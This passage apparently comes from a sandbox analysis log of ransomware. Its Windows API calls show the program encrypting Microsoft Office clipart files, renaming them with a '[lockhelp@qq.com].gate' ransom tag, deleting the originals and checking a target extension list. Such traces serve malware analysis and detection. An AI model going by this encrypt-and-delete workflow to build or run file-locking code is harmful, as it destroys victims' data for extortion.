office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0312.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0312.524] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.524] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0312.524] GetLastError () returned 0x0 [0312.525] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1b16, lpOverlapped=0x0) returned 1 [0312.587] WriteFile (in: hFile=0x514, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0312.588] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.588] WriteFile (in: hFile=0x514, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.588] SetEndOfFile (hFile=0x514) returned 1 [0312.588] CloseHandle (hObject=0x514) returned 1 [0312.588] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.589] SetEndOfFile (hFile=0x4f8) returned 1 [0312.592] CloseHandle (hObject=0x4f8) returned 1 [0312.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0312.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0312.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0312.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0312.593] lstrlenW (lpString=".doc") returned 4 [0312.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.593] lstrlenW (lpString=".docx") returned 5 [0312.593] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0312.593] lstrlenW (lpString=".pdf") returned 4 [0312.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.593] lstrlenW (lpString=".xls") returned 4 [0312.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.593] lstrlenW (lpString=".xlsx") returned 5 [0312.593] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0312.593] lstrlenW (lpString=".ppt") returned 4 [0312.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0312.593] lstrlenW (lpString=".zip") returned 4 [0312.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.593] lstrlenW (lpString=".rar") returned 4 [0312.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.593] lstrlenW (lpString=".bz2") returned 4 [0312.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.593] lstrlenW (lpString=".7z") returned 3 [0312.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0312.594] lstrlenW (lpString=".dbf") returned 4 [0312.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0312.594] lstrlenW (lpString=".1cd") returned 4 [0312.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0312.594] lstrlenW (lpString=".jpg") returned 4 [0312.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.613] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=16596) returned 1 [0312.613] CloseHandle (hObject=0x4f4) returned 1 [0312.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0312.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0312.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0312.614] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.614] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0312.615] GetLastError () returned 0x0 [0312.615] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x40d4, lpOverlapped=0x0) returned 1 [0313.765] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x40e0, lpOverlapped=0x0) returned 1 [0313.766] ReadFile (in: hFile=0x4f4, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0313.766] WriteFile (in: hFile=0x404, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0313.766] SetEndOfFile (hFile=0x404) returned 1 [0313.766] CloseHandle (hObject=0x404) returned 1 [0313.766] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.766] SetEndOfFile (hFile=0x4f4) returned 1 [0313.770] CloseHandle (hObject=0x4f4) returned 1 [0313.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0313.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0313.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0313.942] lstrlenW (lpString=".doc") returned 4 [0313.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString=".docx") returned 5 [0313.942] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0313.942] lstrlenW (lpString=".pdf") returned 4 [0313.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString=".xls") returned 4 [0313.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0313.942] lstrlenW (lpString=".xlsx") returned 5 [0313.942] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0313.942] lstrlenW (lpString=".ppt") returned 4 [0313.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0313.942] lstrlenW (lpString=".zip") returned 4 [0313.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0313.942] lstrlenW (lpString=".rar") returned 4 [0313.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString=".bz2") returned 4 [0313.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString=".7z") returned 3 [0313.942] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0313.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0313.942] lstrlenW (lpString=".dbf") returned 4 [0313.942] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0313.942] lstrlenW (lpString=".1cd") returned 4 [0313.942] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0313.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0313.942] lstrlenW (lpString=".jpg") returned 4 [0313.942] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0313.943] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=26086) returned 1 [0313.943] CloseHandle (hObject=0x4f0) returned 1 [0313.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 0x220 [0313.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0313.944] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.944] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0313.944] GetLastError () returned 0x0 [0313.944] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x65e6, lpOverlapped=0x0) returned 1 [0313.946] WriteFile (in: hFile=0x370, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x65f0, lpOverlapped=0x0) returned 1 [0313.947] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0313.947] WriteFile (in: hFile=0x370, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0313.947] SetEndOfFile (hFile=0x370) returned 1 [0313.947] CloseHandle (hObject=0x370) returned 1 [0313.947] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.947] SetEndOfFile (hFile=0x4f0) returned 1 [0313.949] CloseHandle (hObject=0x4f0) returned 1 [0313.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0313.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0313.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0313.951] lstrlenW (lpString=".doc") returned 4 [0313.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0313.951] lstrlenW (lpString=".docx") returned 5 [0313.951] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0313.951] lstrlenW (lpString=".pdf") returned 4 [0313.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0313.951] lstrlenW (lpString=".xls") returned 4 [0313.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0313.951] lstrlenW (lpString=".xlsx") returned 5 [0313.951] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0313.951] lstrlenW (lpString=".ppt") returned 4 [0313.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0313.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0313.951] lstrlenW (lpString=".zip") returned 4 [0313.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0313.951] lstrlenW (lpString=".rar") returned 4 [0313.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0313.951] lstrlenW (lpString=".bz2") returned 4 [0313.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0313.951] lstrlenW (lpString=".7z") returned 3 [0313.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0313.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0313.951] lstrlenW (lpString=".dbf") returned 4 [0313.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0313.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0313.951] lstrlenW (lpString=".1cd") returned 4 [0313.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0313.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68 [0313.952] lstrlenW (lpString=".jpg") returned 4 [0313.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0313.952] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11694) returned 1 [0313.952] CloseHandle (hObject=0x4f0) returned 1 [0313.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0313.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0313.953] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.953] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0313.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0313.953] GetLastError () returned 0x0 [0313.953] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2dae, lpOverlapped=0x0) returned 1 [0314.132] WriteFile (in: hFile=0x370, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2db0, lpOverlapped=0x0) returned 1 [0314.132] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.132] WriteFile (in: hFile=0x370, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0314.133] SetEndOfFile (hFile=0x370) returned 1 [0314.324] CloseHandle (hObject=0x370) returned 1 [0314.325] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.325] SetEndOfFile (hFile=0x4f0) returned 1 [0314.340] CloseHandle (hObject=0x4f0) returned 1 [0314.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0314.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0314.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0314.341] lstrlenW (lpString=".doc") returned 4 [0314.341] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0314.341] lstrlenW (lpString=".docx") returned 5 [0314.341] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0314.341] lstrlenW (lpString=".pdf") returned 4 [0314.341] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0314.341] lstrlenW (lpString=".xls") returned 4 [0314.341] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0314.341] lstrlenW (lpString=".xlsx") returned 5 [0314.341] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0314.341] lstrlenW (lpString=".ppt") returned 4 [0314.341] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0314.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0314.341] lstrlenW (lpString=".zip") returned 4 [0314.341] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0314.341] lstrlenW (lpString=".rar") returned 4 [0314.341] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0314.342] lstrlenW (lpString=".bz2") returned 4 [0314.342] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0314.342] lstrlenW (lpString=".7z") returned 3 [0314.342] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0314.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0314.342] lstrlenW (lpString=".dbf") returned 4 [0314.342] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0314.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0314.342] lstrlenW (lpString=".1cd") returned 4 [0314.342] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0314.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0314.342] lstrlenW (lpString=".jpg") returned 4 [0314.342] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0314.342] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=26160) returned 1 [0314.342] CloseHandle (hObject=0x4f0) returned 1 [0314.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0314.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0314.343] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.343] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0314.344] GetLastError () returned 0x0 [0314.344] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x6630, lpOverlapped=0x0) returned 1 [0314.642] WriteFile (in: hFile=0x52c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x6640, lpOverlapped=0x0) returned 1 [0314.788] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0314.788] WriteFile (in: hFile=0x52c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0314.788] SetEndOfFile (hFile=0x52c) returned 1 [0314.788] CloseHandle (hObject=0x52c) returned 1 [0314.788] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0314.788] 